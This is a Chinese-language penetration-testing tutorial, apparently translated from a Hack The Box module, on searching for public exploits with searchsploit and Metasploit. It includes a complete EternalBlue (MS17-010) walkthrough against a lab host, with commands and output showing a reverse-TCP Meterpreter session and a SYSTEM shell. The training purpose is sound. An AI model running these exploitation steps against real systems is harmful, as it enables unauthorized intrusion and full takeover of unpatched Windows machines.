公开漏洞利用

当我们通过Nmap扫描识别出运行在开放端口上的服务后,第一步就是查找这些应用程序/服务是否存在任何公开的漏洞利用代码(exploits)。无论是Web应用程序还是运行在SSH或FTP等开放端口上的其他应用程序,都可能找到公开的漏洞利用方法。

查找公开漏洞利用

在枚举阶段,我们可以使用多种工具来搜索可能遇到的各种应用程序和服务的公开漏洞利用代码。一种方法是通过谷歌搜索应用程序名称加上”exploit”关键词,查看是否有结果。

google_smb

此外,一个众所周知的工具是searchsploit,我们可以用它来搜索任何应用程序的公开漏洞/利用代码。我们可以使用以下命令安装它:

 guhusf@htb[/htb]$ sudo apt install exploitdb -y

然后,我们可以使用searchsploit按名称搜索特定的应用程序,如下所示:

 guhusf@htb[/htb]$ searchsploit openssh 7.2
 ​
 ----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
  Exploit Title                                                                                                               | Path
 ----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 OpenSSH 2.3 < 7.7 - Username Enumeration                                                                                     | linux/remote/45233.py
 OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)                                                                               | linux/remote/45210.py
 OpenSSH 7.2 - Denial of Service                                                                                             | linux/dos/40888.py
 OpenSSH 7.2p1 - (Authenticated) xauth Command Injection                                                                     | multiple/remote/39569.py
 OpenSSH 7.2p2 - Username Enumeration                                                                                         | linux/remote/40136.py
 OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation                         | linux/local/40962.txt
 OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading                                                                     | linux/remote/40963.txt
 OpenSSH < 7.7 - User Enumeration (2)                                                                                         | linux/remote/45939.py
 OpenSSHd 7.2p2 - Username Enumeration                                                                                       | linux/remote/40113.txt
 ----------------------------------------------------------------------------------------------------------------------------- ---------------------------------

我们也可以利用在线漏洞利用数据库搜索漏洞,例如Exploit DB、Rapid7 DB或Vulnerability Lab。关于Web应用程序的公开漏洞讨论,可以参考”Web应用程序导论”模块。

Metasploit 入门

Metasploit框架(MSF)是渗透测试人员的卓越工具。它包含许多针对已知公开漏洞的内置漏洞利用程序,并提供了简便的方法来利用这些漏洞攻击易受攻击的目标。MSF还具有许多其他功能,例如:

  • 运行侦察脚本以枚举远程主机和已攻陷的目标系统
  • 验证脚本用于测试漏洞是否存在而无需实际攻陷目标
  • Meterpreter,这是一个强大的工具,可用于连接shell并在被攻陷的目标系统上执行命令
  • 许多后期利用和 pivoting 工具

让我们看一个基本的例子,了解如何为我们要攻击的应用程序搜索漏洞利用程序以及如何利用它。要运行Metasploit,我们可以使用msfconsole命令:

 guhusf@htb[/htb]$ msfconsole
 ​
 ​
      .:okOOOkdc'           'cdkOOOko:.
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
    :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
  oOOOOOOOO.   .oOOOOoOOOOl.   ,OOOOOOOOo
  dOOOOOOOO.     .cOOOOOc.     ,OOOOOOOOx
  lOOOOOOOO.         ;d;         ,OOOOOOOOl
  .OOOOOOOO.   .;           ;   ,OOOOOOOO.
    cOOOOOOO.   .OOc.     'oOO.   ,OOOOOOOc
    oOOOOOO.   .OOOO.   :OOOO.   ,OOOOOOo
      lOOOOO.   .OOOO.   :OOOO.   ,OOOOOl
      ;OOOO'   .OOOO.   :OOOO.   ;OOOO;
        .dOOo   .OOOOocccxOOOO.   xOOd.
          ,kOl .OOOOOOOOOOOOO. .dOk,
            :kk;.OOOOOOOOOOOOO.cOk:
              ;kOOOOOOOOOOOOOOOk:
                ,xOOOOOOOOOOOx,
                  .lOOOOOOOl.
                    ,dOd,
                      .
 ​
        =[ metasploit v6.0.16-dev                         ]
 + -- --=[ 2074 exploits - 1124 auxiliary - 352 post       ]
 + -- --=[ 592 payloads - 45 encoders - 10 nops           ]
 + -- --=[ 7 evasion                                       ]

Metasploit运行后,我们可以使用search exploit命令搜索目标应用程序的漏洞利用程序。例如,我们可以搜索之前识别出的SMB漏洞:

 msf6 > search exploit eternalblue
 ​
 Matching Modules
 ================
 ​
    # Name                                           Disclosure Date Rank     Check Description
    - ----                                           --------------- ----     ----- -----------
 <SNIP>
 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
    4 exploit/windows/smb/ms17_010_psexec           2017-03-14       normal   Yes   MS17-010
 ​
 Tip: Search can apply complex filters such as search cve:2009 type:exploit. See all the filters with help search

我们找到了一个针对该服务的漏洞利用程序。我们可以通过复制其全名并使用USE命令来使用它:

 msf6 > use exploit/windows/smb/ms17_010_psexec
 ​
 [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

在运行漏洞利用程序之前,我们需要配置其选项。要查看可配置的选项,我们可以使用show options命令:

 Module options (exploit/windows/smb/ms17_010_psexec):
 ​
    Name                 Current Setting                                                 Required Description
    ----                 ---------------                                                 -------- -----------
    DBGTRACE             false                                                           yes       Show extra debug trace info
    LEAKATTEMPTS         99                                                             yes       How many times to try to leak transaction
    NAMEDPIPE                                                                             no       A named pipe that can be connected to (leave blank for auto)
    NAMED_PIPES           /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes       List of named pipes to check
    RHOSTS                                                                               yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
    RPORT                 445                                                             yes       The Target port (TCP)
    SERVICE_DESCRIPTION                                                                   no       Service description to to be used on target for pretty listing
    SERVICE_DISPLAY_NAME                                                                 no       The service display name
    SERVICE_NAME                                                                         no       The service name
    SHARE                 ADMIN$                                                         yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
    SMBDomain             .                                                               no       The Windows domain to use for authentication
    SMBPass                                                                               no       The password for the specified username
    SMBUser                                                                               no       The username to authenticate as
 ​
 ...SNIP...

任何将Required设置为yes的选项都需要设置,漏洞利用程序才能工作。在本例中,我们只需要设置两个选项:RHOSTS(目标IP地址,可以是一个IP、多个IP或包含IP列表的文件)和LHOST(攻击主机的IP地址,可以是单个IP或网络接口的名称。在下面的例子中,LHOST被设置为我们的tun0接口对应的IP)。我们可以使用set命令设置它们:

 msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 10.10.10.40
 RHOSTS => 10.10.10.40
 msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST tun0
 LHOST => tun0

设置好这两个选项后,我们就可以开始利用。但在运行脚本之前,我们可以先运行check命令来确认服务器是否存在漏洞:

 msf6 exploit(windows/smb/ms17_010_psexec) > check
 ​
 [*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
 [+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
 [*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
 [+] 10.10.10.40:445 - The target is vulnerable.

如我们所见,服务器确实存在漏洞。请注意,并非Metasploit框架中的每个漏洞利用程序都支持check功能。最后,我们可以使用runexploit命令来运行漏洞利用程序:

 msf6 exploit(windows/smb/ms17_010_psexec) > exploit
 ​
 [*] Started reverse TCP handler on 10.10.14.2:4444
 [*] 10.10.10.40:445 - Target OS: Windows 7 Professional 7601 Service Pack 1
 [*] 10.10.10.40:445 - Built a write-what-where primitive...
 [+] 10.10.10.40:445 - Overwrite complete... SYSTEM session obtained!
 [*] 10.10.10.40:445 - Selecting PowerShell target
 [*] 10.10.10.40:445 - Executing the payload...
 [+] 10.10.10.40:445 - Service start timed out, OK if running a command or non-service executable...
 [*] Sending stage (175174 bytes) to 10.10.10.40
 [*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.40:49159) at 2020-12-27 01:13:28 +0000
 ​
 meterpreter > getuid
 Server username: NT AUTHORITY\SYSTEM
 meterpreter > shell
 Process 39640 created.
 Channel 0 created.
 Windows 7 Professional 7601 Service Pack 1
 (C) Copyright 1985-2009 Microsoft Corp.
 ​
 C:\WINDOWS\system32>whoami
 NT AUTHORITY\SYSTEM

如我们所见,我们成功获得了该机器的管理员访问权限,并使用shell命令进入了交互式shell。这些是使用Metasploit利用远程服务器漏洞的基本示例。Hack The Box平台上有许多已退休(Retired)的机器非常适合练习Metasploit,例如(包括但不限于):

  • Granny/Grandpa
  • Jerry
  • Blue
  • Lame
  • Optimum
  • Legacy
  • Devel

在本模块后续内容中,我们将逐步讲解Nibbles机器,并演示如何使用Metasploit进行利用。Metasploit是另一个需要加入我们工具包的重要工具,但切记不要仅仅依赖它。要成为全面的测试人员,我们必须了解如何最佳地利用所有可用工具,理解它们有时失败的原因,并知道何时需要转向手动技术或其他工具。

问题

尝试识别上述服务器上运行的服务,然后尝试搜索以找到可利用它们的公共漏洞。一旦找到,尝试获取’/flag.txt’文件的内容。(注意:Web 服务器可能需要几秒钟才能启动)

此处内容需要输入密码才查看
仅限华巅网安兴趣小组成员获取密码查看。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇